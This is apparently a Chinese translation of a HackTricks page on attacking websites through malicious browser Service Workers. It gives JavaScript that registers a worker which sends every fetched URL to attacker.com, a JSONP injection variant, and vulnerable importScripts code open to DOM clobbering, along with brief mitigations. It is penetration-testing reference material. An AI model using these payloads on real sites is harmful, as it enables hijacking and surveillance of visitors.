从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert) ! 您在网络安全公司 工作吗? 想要看到您的公司在HackTricks中被宣传 ? 或者想要访问PEASS的最新版本或下载PDF格式的HackTricks ? 请查看订阅计划 !
通过向hacktricks仓库 和hacktricks-cloud仓库 提交PR来分享您的黑客技巧 。
Try Hard Security Group
基本信息
Service Worker 是浏览器在后台运行的脚本,与任何网页分开,可以实现不需要网页或用户交互的功能,从而增强离线和后台处理 功能。有关Service Worker的详细信息,请参阅这里 。通过利用易受攻击的Web域中的Service Worker,攻击者可以控制受害者与该域内所有页面的交互。
检查现有Service Workers
可以在开发者工具 的应用程序 选项卡中的Service Workers 部分检查现有的Service Workers。另一种方法是访问chrome://serviceworker-internals 以获得更详细的视图。
推送通知
推送通知权限 直接影响Service Worker 与服务器进行通信而无需直接用户交互的能力。如果权限被拒绝,将限制Service Worker对构成持续威胁的潜在性。相反,授予权限会增加安全风险,通过启用接收和执行潜在利用的功能。
攻击创建Service Worker
为了利用这个漏洞,您需要找到:
一种上传任意JS 文件到服务器的方法和一个XSS来加载上传的JS文件的Service Worker
一个易受攻击的JSONP请求 ,您可以操纵输出(使用任意JS代码)和一个XSS 来加载带有有效负载的JSONP ,这将加载恶意Service Worker 。
在以下示例中,我将呈现一个代码来注册一个新的Service Worker ,该Service Worker将侦听fetch
事件,并将发送每个获取的URL到攻击者的服务器 (这是您需要上传 到服务器 或通过易受攻击的JSONP 响应加载的代码):
复制 self .addEventListener ( 'fetch' , function (e) {
e .respondWith ( caches .match ( e .request) .then ( function (response) {
fetch ( 'https://attacker.com/fetch_url/' + e . request .url)
});
以下是将注册工作线程 的代码(您应该能够执行滥用XSS 的代码)。在这种情况下,将向攻击者 服务器发送GET 请求,通知服务工作者 的注册 是否成功:
复制 < script >
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js" ;
navigator . serviceWorker .register (sw , {scope : '/' })
.then ( function (registration) {
var xhttp2 = new XMLHttpRequest ();
xhttp2 .open ( "GET" , "https://attacker.com/SW/success" , true );
xhttp2 .send ();
} , function (err) {
var xhttp2 = new XMLHttpRequest ();
xhttp2 .open ( "GET" , "https://attacker.com/SW/error" , true );
xhttp2 .send ();
});
});
</ script >
在滥用易受攻击的 JSONP 端点的情况下,您应该将值放在 var sw
内。例如:
复制 var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//" ;
有一个专门用于利用Service Workers 的C2 ,名为Shadow Workers ,将非常有用来滥用这些漏洞。
24小时缓存指令 将恶意或被入侵的service worker (SW) 的寿命限制在至多24小时,在修复XSS漏洞后,假设在线客户端状态。为了最小化漏洞,站点运营者可以降低SW脚本的存活时间(TTL)。开发人员还建议为快速停用创建一个service worker kill-switch 。
通过DOM Clobbering滥用SW中的importScripts
从Service Worker中调用的函数**importScripts
可以 从不同域导入脚本**。如果使用攻击者可以 修改的参数调用此函数,他将能够从自己的域导入JS脚本 并获取XSS。
这甚至可以绕过CSP保护。
示例易受攻击的代码:
复制 < script >
navigator . serviceWorker .register ( '/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location .search);
// attacker controls location.search
</ script >
复制 const searchParams = new URLSearchParams ( location .search);
let host = searchParams .get ( 'host' );
self .importScripts (host + "/sw_extra.js" );
//host can be controllable by an attacker
使用DOM Clobbering
有关DOM Clobbering的更多信息,请查看:
Dom Clobbering 如果SW用于调用**importScripts
的URL/域位于 HTML元素内**,则可以通过DOM Clobbering进行修改,使SW从您自己的域 加载脚本。
有关此示例,请查看参考链接。
参考资料
Try Hard Security Group
从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert) ! 您在网络安全公司 工作吗? 想要在HackTricks中宣传您的公司 ? 或者想要访问PEASS的最新版本或下载HackTricks的PDF ? 请查看订阅计划 !